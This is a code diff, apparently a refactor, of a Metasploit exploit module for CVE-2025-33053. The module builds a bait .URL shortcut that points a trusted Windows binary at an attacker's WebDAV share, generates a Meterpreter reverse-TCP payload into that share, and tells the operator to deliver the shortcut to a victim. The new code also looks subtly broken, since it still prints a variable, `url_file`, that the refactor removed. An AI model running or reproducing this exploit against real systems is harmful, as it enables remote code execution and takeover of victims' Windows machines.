|
| 1 | +# frozen_string_literal: true |
| 2 | + |
| 3 | +# Metasploit module to exploit CVE-2025-33053 via malicious .URL and WebDAV payload hosting. |
1 | 4 | class MetasploitModule < Msf::Exploit::Remote |
2 | 5 | Rank = NormalRanking |
3 | 6 |
|
4 | 7 | def initialize(info = {}) |
5 | | - super(update_info(info, |
6 | | - 'Name' => 'CVE-2025-33053 Exploit via Malicious .URL File and WebDAV', |
7 | | - 'Description' => %q{ |
8 | | - This module creates a malicious .URL file that abuses CVE-2025-33053, |
9 | | - optionally generates a payload, places it into |
10 | | - the WebDAV directory. |
11 | | - }, |
12 | | - 'Author' => ['Dev Bui Hieu'], |
13 | | - 'License' => MSF_LICENSE, |
14 | | - 'DisclosureDate' => '2025-06-11', |
15 | | - 'References' => [ |
16 | | - ['CVE', '2025-33053'], |
17 | | - ['URL', 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept'] |
18 | | - ], |
19 | | - 'Platform' => 'win', |
20 | | - 'Arch' => ARCH_X64, |
21 | | - 'Targets' => [ |
22 | | - ['Windows (generic)', {}] |
23 | | - ], |
24 | | - 'DefaultTarget' => 0 |
25 | | - )) |
| 8 | + super( |
| 9 | + update_info( |
| 10 | + info, |
| 11 | + 'Name' => 'CVE-2025-33053 Exploit via Malicious .URL File and WebDAV', |
| 12 | + 'Description' => ' |
| 13 | + This module exploits CVE-2025-33053 by generating a malicious .URL file pointing |
| 14 | + to a trusted LOLBAS binary with parameters designed to trigger unintended behavior. |
| 15 | + Optionally, a payload is generated and hosted on a specified WebDAV directory. |
| 16 | + When the victim opens the shortcut, it will attempt to access the WebDAV path, |
| 17 | + potentially resulting in remote code execution via a trusted binary. |
| 18 | + ', |
| 19 | + 'Author' => ['Dev Bui Hieu'], |
| 20 | + 'License' => MSF_LICENSE, |
| 21 | + 'DisclosureDate' => '2025-06-11', |
| 22 | + 'References' => [ |
| 23 | + ['CVE', '2025-33053'], |
| 24 | + ['URL', 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept'] |
| 25 | + ], |
| 26 | + 'Platform' => 'win', |
| 27 | + 'Arch' => ARCH_X64, |
| 28 | + 'Targets' => [['Windows (generic)', {}]], |
| 29 | + 'DefaultTarget' => 0 |
| 30 | + ) |
| 31 | + ) |
26 | 32 |
|
27 | 33 | register_options( |
28 | 34 | [ |
| 35 | + OptString.new('OUTFILE', [true, 'Output URL file name', 'bait.url']), |
29 | 36 | OptString.new('PAYLOAD', [true, 'Payload to generate', 'windows/x64/meterpreter/reverse_tcp']), |
30 | 37 | OptBool.new('GEN_PAYLOAD', [true, 'Generate payload and move to WebDAV directory', true]), |
31 | | - OptString.new('WEBDAV_DIR', [true, 'WebDAV directory path', '/var/www/webdav']), |
32 | | - OptString.new('OUTFILE', [true, 'Output URL file name', 'bait.url']), |
33 | | - OptString.new('LOLBAS_EXE', [true, 'Path to trusted binary (LOLBAS)', 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe']), |
34 | | - OptString.new('ICON_PATH', [true, 'Icon file path', 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe']), |
| 38 | + OptString.new('WEBDAV_DIR', [true, 'WebDAV directory path', '/var/www/webdav']) |
| 39 | + ] |
| 40 | + ) |
| 41 | + register_advanced_options( |
| 42 | + [ |
| 43 | + OptString.new('LOLBAS_EXE', |
| 44 | + [true, 'Path to trusted binary (LOLBAS)', 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe']), |
| 45 | + OptString.new('ICON_PATH', |
| 46 | + [true, 'Icon file path', 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe']), |
35 | 47 | OptInt.new('ICON_INDEX', [true, 'Icon index in icon file', 13]), |
36 | 48 | OptString.new('MODIFIED_HEX', [true, 'Modified timestamp in hex', '20F06BA06D07BD014D']) |
37 | 49 | ] |
38 | 50 | ) |
39 | 51 | end |
40 | 52 |
|
41 | 53 | def exploit |
42 | | - lhost = datastore['LHOST'] |
43 | | - lport = datastore['LPORT'] |
44 | | - payload_type = datastore['PAYLOAD'] |
45 | | - webdav_dir = datastore['WEBDAV_DIR'] |
46 | | - gen_payload = datastore['GEN_PAYLOAD'] |
| 54 | + prepare_webdav_dir |
| 55 | + generate_payload_if_needed |
| 56 | + write_url_file |
| 57 | + print_status("Module complete. Deliver #{datastore['OUTFILE']} to victim.") |
| 58 | + end |
| 59 | + |
| 60 | + def prepare_webdav_dir |
| 61 | + print_status('Creating WebDAV directory if not exists...') |
| 62 | + FileUtils.mkdir_p(datastore['WEBDAV_DIR']) unless File.directory?(datastore['WEBDAV_DIR']) |
| 63 | + rescue Errno::EACCES |
| 64 | + fail_with( |
| 65 | + Failure::NoAccess, |
| 66 | + "Cannot create WebDAV directory. Permission denied.\n" \ |
| 67 | + "Try restarting Metasploit with sudo or change ownership of #{datastore['WEBDAV_DIR']}." |
| 68 | + ) |
| 69 | + end |
47 | 70 |
|
48 | | - print_status("Creating WebDAV directory if not exists...") |
49 | | - begin |
50 | | - FileUtils.mkdir_p(webdav_dir) unless File.directory?(webdav_dir) |
51 | | - rescue Errno::EACCES |
52 | | - fail_with(Failure::NoAccess, "Cannot create WebDAV directory. 🚫 Permission denied.\n💡 Try restarting Metasploit with sudo or change ownership of #{webdav_dir}.") |
53 | | - end |
54 | | - |
55 | | - if gen_payload |
56 | | - exe_path = File.join(webdav_dir, 'payload.exe') |
57 | | - print_good("Generating payload at: #{exe_path}") |
58 | | - generate_payload_exe(payload_type, lhost, lport, exe_path) |
59 | | - end |
| 71 | + def generate_payload_if_needed |
| 72 | + return unless datastore['GEN_PAYLOAD'] |
60 | 73 |
|
61 | | - unc_path = "\\#{lhost}\\#{File.basename(webdav_dir)}\\" |
62 | | - url_content = <<~EOF |
| 74 | + exe_path = File.join(datastore['WEBDAV_DIR'], 'payload.exe') |
| 75 | + print_good("Generating payload at: #{exe_path}") |
| 76 | + generate_payload_exe(datastore['PAYLOAD'], datastore['LHOST'], datastore['LPORT'], exe_path) |
| 77 | + end |
| 78 | + |
| 79 | + def write_url_file |
| 80 | + unc_path = "\\\\#{datastore['LHOST']}\\#{File.basename(datastore['WEBDAV_DIR'])}\\" |
| 81 | + content = <<~URLFILE |
63 | 82 | [InternetShortcut] |
64 | 83 | URL=#{datastore['LOLBAS_EXE']} |
65 | 84 | WorkingDirectory=#{unc_path} |
66 | 85 | ShowCommand=7 |
67 | 86 | IconIndex=#{datastore['ICON_INDEX']} |
68 | 87 | IconFile=#{datastore['ICON_PATH']} |
69 | 88 | Modified=#{datastore['MODIFIED_HEX']} |
70 | | - EOF |
71 | | - |
72 | | - url_file = File.expand_path(datastore['OUTFILE']) |
73 | | - File.write(url_file, url_content) |
| 89 | + URLFILE |
| 90 | + File.write(datastore['OUTFILE'], content) |
74 | 91 | print_good(".URL file written to: #{url_file}") |
75 | | - |
76 | | - print_status("Module complete. Deliver #{url_file} to victim.") |
77 | 92 | end |
78 | 93 |
|
79 | 94 | def generate_payload_exe(payload_name, lhost, lport, output_path) |
80 | | - |
81 | 95 | payload = framework.payloads.create(payload_name.to_s.strip) |
82 | | - |
83 | 96 | payload.datastore['LHOST'] = lhost |
84 | 97 | payload.datastore['LPORT'] = lport |
85 | | - |
86 | 98 | raw = payload.generate |
87 | | - |
88 | 99 | exe = Msf::Util::EXE.to_win32pe(framework, raw) |
89 | | - |
90 | | - begin |
91 | | - File.open(output_path, 'wb') { |f| f.write(exe) } |
92 | | - print_good("Payload successfully written to #{output_path}") |
93 | | - rescue Errno::EACCES |
94 | | - fail_with(Failure::NoAccess, "Cannot write to #{output_path}. 🚫 Permission denied.\n💡 Try restarting Metasploit with sudo or change directory permissions.") |
95 | | - end |
96 | | - rescue => e |
| 100 | + File.open(output_path, 'wb') { |f| f.write(exe) } |
| 101 | + print_good("Payload successfully written to #{output_path}") |
| 102 | + rescue StandardError => e |
97 | 103 | print_error("Failed to generate payload: #{e.class} #{e.message}") |
98 | 104 | end |
99 | | - |
100 | 105 | end |
0 commit comments